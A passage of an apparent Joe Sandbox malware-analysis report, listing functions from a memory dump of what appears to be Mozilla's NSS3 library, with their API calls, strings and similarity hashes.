Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&tl
API String ID: 704537481-3412841603
Opcode ID: e18f02ed191dee35e1cbd22bf0e3548d0861661edd4ac38a3ffb66942e892873
Instruction ID: f9bbfddfc24952b1d21e5df039cef5d499f06fc966fbc7248958250e7d9bf9a9
Opcode Fuzzy Hash: e18f02ed191dee35e1cbd22bf0e3548d0861661edd4ac38a3ffb66942e892873
Instruction Fuzzy Hash: BA215775A01214AFEB00BE29DD48E9A3769EF41369F198134FC0887B02E730D962CBE0

Function 6C76CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C76CD93,?), ref: 6C76CEEE

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C76CD93,?), ref: 6C76CEFC

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C76CD93,?), ref: 6C76CF0B

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C76CD93,?), ref: 6C76CF1D

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C76CD93,?,?,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF78

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: e9e574ef51c2254fd3ffbae26b5fd7c8aefb496602be3f6a92fcc1d6c4607581
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 2C11A2A6E042055BEF00AAA76E49BABB5EC9F5474EF044039EC09D7F41FB60D908C6B1

Function 6C718C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C718C1B
EnterCriticalSection.KERNEL32 ref: 6C718C34
PL_ArenaAllocate.NSS3 ref: 6C718C65
PR_Unlock.NSS3 ref: 6C718C9C
PR_Unlock.NSS3 ref: 6C718CB6

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Strings

KRAM, xrefs: 6C718C8F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: fac69022f3de3ec6a474609d40eed4324e8c6f581ef4cc9a8b2ba790bcd75cc0
Instruction ID: dce1ce97aa1a50e508a58f6c078c1cbd6437ddeed09cd8bd292c1c89da65f210
Opcode Fuzzy Hash: fac69022f3de3ec6a474609d40eed4324e8c6f581ef4cc9a8b2ba790bcd75cc0
Instruction Fuzzy Hash: 3E2174B1A096018FD700AF79C588559B7F4FF15308F0A89BAD8888BB11EB35D886CFD1

Function 6C728E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EA2

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EC3
TlsGetValue.KERNEL32(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C728EF1
PR_Unlock.NSS3 ref: 6C728F20

Strings

b.tl, xrefs: 6C728E96, 6C728F25

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.tl
API String ID: 1978757487-2381257471
Opcode ID: e10c1aa985fed7589093843daacff670fa153d3742db39da4e61cadeda0b99a4
Instruction ID: 1ecf21e19ebc9b072b9497eb3b345c7978919f8565be6c4768abe643d7b2bd42
Opcode Fuzzy Hash: e10c1aa985fed7589093843daacff670fa153d3742db39da4e61cadeda0b99a4
Instruction Fuzzy Hash: D121BC729087059FD700AF29C6885A9BBF4FF48318F05466EED988BB41D735E854CBC2

Function 6C793E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_EnterMonitor.NSS3(?), ref: 6C793E45

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

PR_EnterMonitor.NSS3(?), ref: 6C793E5C
PR_EnterMonitor.NSS3(?), ref: 6C793E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C793EA6

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_ExitMonitor.NSS3(?), ref: 6C793EC0
PR_ExitMonitor.NSS3(?), ref: 6C793ED7
PR_ExitMonitor.NSS3(?), ref: 6C793EEE

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: e0d733163e46735a7ddc4013bf70d7a4627ab260767f0c10b36b15bc0e56d691
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 9911E471650601EFDB719E29FE0ABC7B3A5DB51308F400834E61E86A22E637E929C743

Function 6C812C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C812CA0
PR_ExitMonitor.NSS3 ref: 6C812CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C812CD1
strdup.MOZGLUE(?), ref: 6C812CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C812D27

Strings

Loaded library %s (static lib), xrefs: 6C812D22

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ee59952558b0f187da41d463560fb225d6945789a35810c1d3d52c9d829cd3ed
Instruction ID: fb6e3f134df14bd569fa92073de0d8c860338b3f7c0b6eb6b31473eca2c1b127
Opcode Fuzzy Hash: ee59952558b0f187da41d463560fb225d6945789a35810c1d3d52c9d829cd3ed
Instruction Fuzzy Hash: 3F1122B47042058FEB318F1AD908A6677F5AB4634DF04883DD80987F42D739E818CBE2

Function 6C70BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70BDCA

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BDDB

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BDEC

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C70BE03

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70BE3B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 8fcd705332a198c56619723d61f06700bddf58b25a19837f15930e0eee51f2e4
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: B301F7E5B4020177F6101266AE0DB97368C4F5078DF140134EE04D6B82FB51E21983B5

Function 6C760FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B
TlsGetValue.KERNEL32(00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761044
free.MOZGLUE(00000000,?,00000800,6C6FEF74,00000000), ref: 6C761064

Strings

security, xrefs: 6C761025

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 2e1a849bed2ea6243aeeb9a2bbfee6f4871ab9691bdc1e7048db6fdd3a485c9e
Instruction ID: bf2e20b42365ce0dc371de469108f29cca9de25200a89520553d809e641cca82
Opcode Fuzzy Hash: 2e1a849bed2ea6243aeeb9a2bbfee6f4871ab9691bdc1e7048db6fdd3a485c9e
Instruction Fuzzy Hash: 96014475A002519BEB712F2F9E0DA563AA8BF0678DF010535EC8897E52EB70C104DBD2

Function 6C791C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C791C74

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C791C92
free.MOZGLUE(?), ref: 6C791C99
DeleteCriticalSection.KERNEL32(?), ref: 6C791CCB
free.MOZGLUE(?), ref: 6C791CD2

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 96b530eaa43105231d78c27d73febd6ab6e97dae1fabc287c71f0e8c0a8a2323
Instruction ID: 5bd3bbd806b4e2d8c95dd5555e1ed02ce7a0a55848be6883c9d3f9d7b69e8af6
Opcode Fuzzy Hash: 96b530eaa43105231d78c27d73febd6ab6e97dae1fabc287c71f0e8c0a8a2323
Instruction Fuzzy Hash: 5301D6B1F012206FDF30AFA5AE0DB553778670B31DF440174E509A6B41D3699014CBD1

Function 6C7A2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7A3046

Part of subcall function 6C78EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C777FFB), ref: 6C7A312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7A3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7A2E8B

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Part of subcall function 6C78F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C779BFF,?,00000000,00000000), ref: 6C78F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C777FFA), ref: 6C7A2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7A317B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: f0a153afd7a44101691b5340850a7eece89e2edd6321e53b9750218fe1b836de
Instruction ID: 612ad1c0ab10f49a3171ad912c353824358415e5f528849cbf011c3a5228a950
Opcode Fuzzy Hash: f0a153afd7a44101691b5340850a7eece89e2edd6321e53b9750218fe1b836de
Instruction Fuzzy Hash: 61A1CE75A002189FDB24CF54CD84BEAB7B5EF49308F0481A9ED4967781E731AD86CFA1

Function 6C76ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C76ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C76EDCE

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

free.MOZGLUE(00000000,?,?,?,?,6C76B04F), ref: 6C76EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C76EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C76EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C76EEFB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c2aae838d2e57ad6806fa7f11367389831c69114d41d99d9b53cc2274feb4f7b
Instruction ID: 2a09fee7a8641a387eede0ea3be741cac782104a2f5b89c0f544c63b77a4f710
Opcode Fuzzy Hash: c2aae838d2e57ad6806fa7f11367389831c69114d41d99d9b53cc2274feb4f7b
Instruction Fuzzy Hash: F4814CB5A002099FEB14CF56DE89BAB77F9AF88708F144438EC159BB51D731E814CBA1

Function 6C76CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C76C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C76DAE2,?), ref: 6C76C6C2

PR_Now.NSS3 ref: 6C76CD35

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

Part of subcall function 6C756C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C3F

PR_GetCurrentThread.NSS3 ref: 6C76CD54

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

Part of subcall function 6C757260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701CCC,00000000,00000000,?,?), ref: 6C75729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C76CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C76CE2C

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C76CE40

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

Part of subcall function 6C76CEE0: PORT_ArenaMark_Util.NSS3(?,6C76CD93,?), ref: 6C76CEEE
Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C76CD93,?), ref: 6C76CEFC
Part of subcall function 6C76CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C76CD93,?), ref: 6C76CF0B
Part of subcall function 6C76CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C76CD93,?), ref: 6C76CF1D

Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF47
